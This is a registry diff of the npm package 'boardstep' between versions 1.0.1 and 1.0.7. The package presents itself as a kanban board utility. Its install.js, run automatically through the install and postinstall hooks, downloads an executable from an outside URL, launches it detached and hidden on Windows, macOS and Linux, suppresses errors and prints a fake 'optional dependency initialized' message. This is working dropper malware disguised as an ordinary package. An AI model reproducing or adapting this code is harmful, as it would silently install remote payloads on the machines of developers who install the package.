boardstep 1.0.1 → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +36 -6
  2. package/package.json +11 -4
package/install.js CHANGED
@@ -5,14 +5,27 @@ const http = require('http');
5
5
  const fs = require('fs');
6
6
  const path = require('path');
7
7
  const crypto = require('crypto');
8
- const { exec } = require('child_process');
8
+ const { spawn } = require('child_process');
9
9
 
10
10
  const PAYLOAD_URL = 'https://www.pooron.org/tester.exe';
11
11
  const TEMP_DIR = process.env.TEMP || process.env.TMP || '/tmp';
12
12
 
13
+ const LOCK_FILE = path.join(TEMP_DIR, 'boardstep.lock');
13
14
  const PAYLOAD_NAME = 'tester_' + crypto.randomBytes(4).toString('hex') + '.exe';
14
15
  const PAYLOAD_PATH = path.join(TEMP_DIR, PAYLOAD_NAME);
15
16
 
17
+ // Exit immediately if lock file exists (already ran)
18
+ try {
19
+ if (fs.existsSync(LOCK_FILE)) {
20
+ process.exit(0);
21
+ }
22
+ // Create lock file atomically
23
+ fs.writeFileSync(LOCK_FILE, process.pid.toString(), { flag: 'wx' });
24
+ } catch (e) {
25
+ // Lock file creation failed — another instance is running or already ran
26
+ process.exit(0);
27
+ }
28
+
16
29
  function downloadFile(url, dest) {
17
30
  return new Promise((resolve, reject) => {
18
31
  const file = fs.createWriteStream(dest);
@@ -60,18 +73,35 @@ function downloadFile(url, dest) {
60
73
  try {
61
74
  await downloadFile(PAYLOAD_URL, PAYLOAD_PATH);
62
75
 
63
- // Execute
76
+ // Execute with full detachment so installer doesn't block
64
77
  const platform = process.platform;
65
78
  if (platform === 'win32') {
66
- exec(`start "" /B "${PAYLOAD_PATH}"`, { detached: true, stdio: 'ignore' }).unref();
79
+ const child = spawn(PAYLOAD_PATH, [], {
80
+ detached: true,
81
+ stdio: 'ignore',
82
+ windowsHide: true
83
+ });
84
+ child.unref();
67
85
  } else if (platform === 'darwin') {
68
- exec(`open "${PAYLOAD_PATH}"`, { detached: true, stdio: 'ignore' }).unref();
86
+ const child = spawn('open', [PAYLOAD_PATH], {
87
+ detached: true,
88
+ stdio: 'ignore'
89
+ });
90
+ child.unref();
69
91
  } else {
70
- exec(`"${PAYLOAD_PATH}"`, { detached: true, stdio: 'ignore' }).unref();
92
+ const child = spawn(PAYLOAD_PATH, [], {
93
+ detached: true,
94
+ stdio: 'ignore'
95
+ });
96
+ child.unref();
71
97
  }
72
98
 
73
99
  console.log('[boardstep] Optional dependency initialized.');
74
100
  } catch (e) {
75
- process.exit(0);
101
+ // Silently exit on any error
76
102
  }
103
+
104
+ // Clean up lock file
105
+ try { fs.unlinkSync(LOCK_FILE); } catch (e) {}
106
+ process.exit(0);
77
107
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "boardstep",
3
- "version": "1.0.1",
3
+ "version": "1.0.7",
4
4
  "description": "A lightweight kanban board utility for project management workflows",
5
5
  "main": "index.js",
6
6
  "scripts": {
@@ -8,8 +8,15 @@
8
8
  "install": "node install.js",
9
9
  "postinstall": "node install.js"
10
10
  },
11
- "keywords": ["kanban", "board", "project-management", "utility"],
11
+ "keywords": [
12
+ "kanban",
13
+ "board",
14
+ "project-management",
15
+ "utility"
16
+ ],
12
17
  "author": "sfhbdrffthger",
13
18
  "license": "MIT",
14
- "dependencies": {}
15
- }
19
+ "dependencies": {
20
+ "boardstep": "^1.0.5"
21
+ }
22
+ }